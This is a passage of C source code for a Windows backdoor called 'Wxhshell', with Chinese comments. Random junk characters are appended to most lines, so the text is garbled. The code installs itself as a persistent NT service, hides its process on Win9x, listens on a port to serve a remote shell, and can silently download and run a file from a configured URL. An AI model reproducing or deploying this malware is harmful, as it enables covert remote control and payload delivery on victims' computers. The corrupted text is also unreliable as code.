DWORD AffinityMask; 9:3`LY3wW
DWORD BasePriority; ew,okRCN
ULONG UniqueProcessId; UHk)!P>
ULONG InheritedFromUniqueProcessId; NBBR>3nt
} PROCESS_BASIC_INFORMATION; ;jQ^8S
Ps(oxj7
PROCNTQSIP NtQueryInformationProcess; o*E32#l
> Xij+tt{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hj1?c,mo4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A|4
3W=
aMT=pGU
HANDLE hProcess; C]3:&dx9
PROCESS_BASIC_INFORMATION pbi; \|B\7a'4
U|QP]6v
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hhWy-fP#
if(NULL == hInst ) return 0; \QG2V$
}G^'y8U
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m$hkmD|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ePR9r}
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PQ;9iv
B>I:KGkV
if (!NtQueryInformationProcess) return 0; _d^d1Q}V
+BhJske
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +Y;hVcE9
if(!hProcess) return 0; )lz)h*%#
x|c_(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hj `\Fm*A
rf`xY4I\
CloseHandle(hProcess); C7AD1rl
,h/l-#KS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f)Y~F/[$P
if(hProcess==NULL) return 0; :AQ9-&i/a-
zK_P3rLsS
HMODULE hMod; z TPNQ0=|
char procName[255]; P0sAq7"
unsigned long cbNeeded; @A`j Wao
c4Q9foE
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &sYxe:H
xTH3g^E
CloseHandle(hProcess); @)!N{x?
l&kZ6lZ
if(strstr(procName,"services")) return 1; // 以服务启动 &v;o }Q}E{
W4P+?c>'2
return 0; // 注册表启动 ^ rUq{
} J,=ZUh@M
O'@[f{
// 主模块 mC-wPi8
int StartWxhshell(LPSTR lpCmdLine) Ejf5M\o
{ s +qodb+
SOCKET wsl; 0r i
BOOL val=TRUE; 8<ev5af
int port=0; SXE@\Afj
struct sockaddr_in door; 8X278^
#
~4twI*f
if(wscfg.ws_autoins) Install(); C9""sVs
v046
port=atoi(lpCmdLine); f+1'Ah0'E
p*T[(\8{n
if(port<=0) port=wscfg.ws_port; E="uDHw+
EDh-pK
WSADATA data; 8GjETq%}
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u]`0QxvZ
'{.8tT?tJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; u~JR]T
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a({N}ZDo
door.sin_family = AF_INET; Ro `Xs.X
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =1VZcLNt
door.sin_port = htons(port); rQ2TPX<?a
!mB
`F C
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lp4F1H2t-
closesocket(wsl); lOe|]pQ.,
return 1; P*U^,Jh<
} IGlyx'\_
Y" rODk1
if(listen(wsl,2) == INVALID_SOCKET) { jT F"
closesocket(wsl); nZ#u#V
return 1;
3Z`
wU
} 6V@_?a-K
Wxhshell(wsl); @6aJh< c
WSACleanup(); <$a-.C5
Y}Dk>IG
return 0; ?4aW^l6/
%q9"2]
cR
} T2tvU*[=
Zw'050~-
// 以NT服务方式启动 agkKm?xIL
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vfXNN F
{ o-AF_N
DWORD status = 0; ]ZW-`U MO
DWORD specificError = 0xfffffff; |B'4wF>
SXvflr] =m
serviceStatus.dwServiceType = SERVICE_WIN32; xD~r Q$6sI
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~Je40vO[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .Y8P6_
serviceStatus.dwWin32ExitCode = 0; cq3Z}Cp
serviceStatus.dwServiceSpecificExitCode = 0; 7fS NF7/+
serviceStatus.dwCheckPoint = 0; 0L ,!o[L*
serviceStatus.dwWaitHint = 0; XJy.xI>;
0_Elxc
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /iAhGY
if (hServiceStatusHandle==0) return; $e,r>tgD
j+q)
status = GetLastError(); cD)9EFo
if (status!=NO_ERROR) AGjjhbGB
{ >ZeARCf"f
serviceStatus.dwCurrentState = SERVICE_STOPPED; TXf60{:f
serviceStatus.dwCheckPoint = 0; x'OP0],#
serviceStatus.dwWaitHint = 0; *
{~`Lw)y
serviceStatus.dwWin32ExitCode = status; +9pock
serviceStatus.dwServiceSpecificExitCode = specificError; f4F%\ "
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n6M #Xc'JA
return; $;~YgOVZ5
} P|p
X
F~
=K|#5p`
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]l +<-
serviceStatus.dwCheckPoint = 0; n\<7`,
serviceStatus.dwWaitHint = 0; ,S<) )
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s16, *;Z
} H8HVmfM
?UOaqcL
// 处理NT服务事件,比如:启动、停止 {cO8q
}L
VOID WINAPI NTServiceHandler(DWORD fdwControl) ' u;Zw%O(J
{ qdmAkYUC
switch(fdwControl) :*DWL!a
{ FZZO-,xa
case SERVICE_CONTROL_STOP: ~3Zz.!F
serviceStatus.dwWin32ExitCode = 0; nD]MgT
serviceStatus.dwCurrentState = SERVICE_STOPPED; ("}C& 6)cB
serviceStatus.dwCheckPoint = 0; 9k6/D.Dz
serviceStatus.dwWaitHint = 0; uqa
pj("
{ BIew\N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); V}7)>i$A
} mpVD;)?JmM
return; G`Z<a
case SERVICE_CONTROL_PAUSE: PlK3;
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7zA+UWr
break; %X}vuE[[UC
case SERVICE_CONTROL_CONTINUE: TA:uB[Ji
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~Z*7:bPN!^
break; ^q0`eS
case SERVICE_CONTROL_INTERROGATE: }[drR(]`dO
break; %6Vb1?x
}; ;T8(byH ?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); sDTw</@
} YjJ^SU`*
J4U_utp
// 标准应用程序主函数 1LhZmv
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +Wy `X5v
{ TX@ed
J=(i0A
// 获取操作系统版本 6A|XB3
OsIsNt=GetOsVer(); Ea'jAIFPpO
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?TIi0;h
ZU`~@.`i
// 从命令行安装 .3XiL=^~Qp
if(strpbrk(lpCmdLine,"iI")) Install(); 7ncR2-{g
OI78wG
// 下载执行文件 @,;h!vB*=
if(wscfg.ws_downexe) { hA1B C3
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G(Hr*T%
WinExec(wscfg.ws_filenam,SW_HIDE); A
#m _w*
} Iw)m9h
&V SZ
if(!OsIsNt) { 2EN}"Du]mj
// 如果时win9x,隐藏进程并且设置为注册表启动 CR2.kuM0~
HideProc(); 8g-Z~~0W1
StartWxhshell(lpCmdLine); E_[a|N"D
} iC^G^ ~V+H
else F$|:'#KN
if(StartFromService()) x?u@
j7[
// 以服务方式启动 "oFi+']*
StartServiceCtrlDispatcher(DispatchTable); =OV5DmVmQ
else \-{$IC-L
// 普通方式启动 w^ofH-R/
StartWxhshell(lpCmdLine); MZcvr 9y
nnE'zk<"
return 0; |22vNt_
}